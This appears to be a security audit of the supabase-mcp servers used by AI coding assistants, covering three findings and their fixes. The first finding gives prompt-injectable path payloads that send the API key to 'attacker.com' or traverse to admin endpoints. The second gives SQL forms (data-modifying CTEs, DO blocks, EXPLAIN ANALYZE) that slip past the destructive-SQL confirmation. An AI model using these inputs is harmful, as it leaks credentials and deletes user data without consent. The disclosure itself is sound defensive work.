supabase-mcp

supabase-community/supabase-mcp

This project provides MCP servers for managing Supabase projects and querying PostgREST APIs from AI coding assistants. The biggest risks are a URL normalization flaw in the PostgREST server that can leak API keys or traverse paths via tool arguments, and regex-based SQL checks in the Supabase server that can be bypassed to run destructive SQL without confirmation.

What it can reach

Secrets

Reads the SUPABASE_ACCESS_TOKEN environment variable, CLI --access-token / --apiKey flags, or HTTP Authorization Bearer tokens to authenticate against Supabase and PostgREST APIs.

Network

Makes HTTPS requests to the Supabase Management API (api.supabase.com), Supabase Content GraphQL API, Supabase feedback endpoint, or a configured PostgREST server, and can listen on 127.0.0.1 when started with --http.

Findings

1. HighSSRF, API key exfiltration, and path traversal in postgrestRequest via non-special URL schemes

   packages/mcp-server-postgrest/src/server.ts:80

   In postgrestRequest, the path argument is normalized using new URL(path, 'http://mock/') before being concatenated directly onto apiUrl (which has its trailing slash removed). If an attacker (such as via prompt injection) passes a path starting with a non-special scheme like urn:@attacker.com/path, the URL parser ignores the http://mock/ base and produces a pathname without a leading slash. Concatenating this onto a root apiUrl (e.g., https://postgrest.example.com or http://localhost:3000) produces https://postgrest.example.com@attacker.com/path, causing fetch to send the configured apiKey in the Authorization and apikey headers to attacker.com. Similarly, a path like urn:x/../../auth/v1/admin/users preserves .. segments in the opaque pathname until the second new URL() call resolves them against apiUrl, allowing traversal out of /rest/v1 to other endpoints on the same host.

   Fix: Reject path values that contain a scheme or do not start with '/', and verify that the final resolved URL retains the exact origin and base path prefix of apiUrl before sending the request.

2. MediumDestructive and mutating SQL confirmation bypass via CTEs, DO blocks, and EXPLAIN ANALYZE

   packages/mcp-server-supabase/src/tools/destructive-sql.ts:77

   When confirmation elicitation is enabled for execute_sql, apply_migration, and run_notebook, the server checks whether SQL is destructive or mutating by matching keywords at the start of each semicolon-delimited statement. Valid PostgreSQL statements that start with another keyword—such as data-modifying CTEs (WITH d AS (DELETE FROM users RETURNING *) SELECT * FROM d;), CTE-prefixed deletes (WITH x AS (SELECT 1) DELETE FROM users;), EXPLAIN ANALYZE DELETE FROM users;, or single-statement DO blocks (DO $$ BEGIN DROP TABLE users; END $$;)—do not match these patterns and execute without prompting the user for confirmation.

   Fix: Inspect all SQL tokens outside string literals and comments for destructive or mutating keywords (including WITH, DO, CALL, COPY, and EXPLAIN ANALYZE), or default to requiring confirmation whenever a statement is not a simple SELECT.

3. LowServer instructions tell the agent to run an unpinned npx command

   packages/mcp-server-supabase/src/server.ts

   The MCP server's system instructions tell the AI agent to run npx skills add supabase/agent-skills if it has access to a local shell and filesystem. This prompts the agent to download and execute an unpinned third-party npm package (skills) and external skill definitions without the user asking for it.

   Fix: Remove the shell command from the automatic agent instructions, or pin the package version and instruct the agent to ask the user before running it.